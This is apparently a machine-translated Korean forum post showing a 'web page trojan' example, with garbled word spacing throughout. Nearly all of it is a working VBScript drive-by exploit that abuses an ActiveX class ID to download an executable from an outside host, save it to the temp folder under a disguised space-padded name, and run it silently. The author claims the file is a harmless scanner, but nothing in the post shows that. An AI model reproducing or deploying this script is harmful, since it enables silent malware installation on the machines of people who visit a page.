웹 페이지 목마 코드 예(안에 있 는 파일 은 구멍 스캐너,하하)

인터넷 서핑 을 자주 하 는 친구 에 게 홈 페이지 목마 가 낯 설 지 않 을 것 입 니 다.어떤 사 이 트 를 열 면 이상 하 게 어떤 목 마 를 실 행 했 습 니 다.'인터넷 옵션'에'안전'설정 이 있 지만 아래 코드 는 아무런 정보 도 나 오지 않 고 프로그램 을 직접 실 행 했 습 니 다.믿 지 않 습 니 다.follow me! (알림: 기술 과 방법 만 알 아 보고 절대 파괴 하지 마 세 요.yexj 00.exe 는 windows 2000 입 니 다. 구멍 스캐너 와 누 출 보충 용 은 바이러스 나 목마 가 아니 라 안심 하고 운행 합 니 다.)

<script language="VBScript"> 
    on error resume next 
    dl = "<a href="http://yexj00.5dm.cn/soft/yexj00.exe" target="_blank">http://yexj00.5dm.cn/soft/yexj00.exe</a>" 
    set ye=document.createElement("object") 
    yStr="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 
   ye.setAttribute "classid",yStr 
    Set x = ye.CreateObject("Microsoft.XMLHTTP","") 
    set S = ye.createobject("ADODB.Stream","") 
    S.type = 1 
    x.Open "GET", dl, False 
    x.Send 
    fname="win2000     .exe" 
    set F = ye.createobject("Scripting.FileSystemObject","") 
    set tmp = F.GetSpecialFolder(2) 
    fname= F.BuildPath(tmp,fname) 
    S.open 
    S.write x.responseBody 
    S.savetofile fname,2 
    S.close 
    set A=ye.createobject("Shell.Application","") 
      A.ShellExecute fname,"","",  "open",1 
    </script>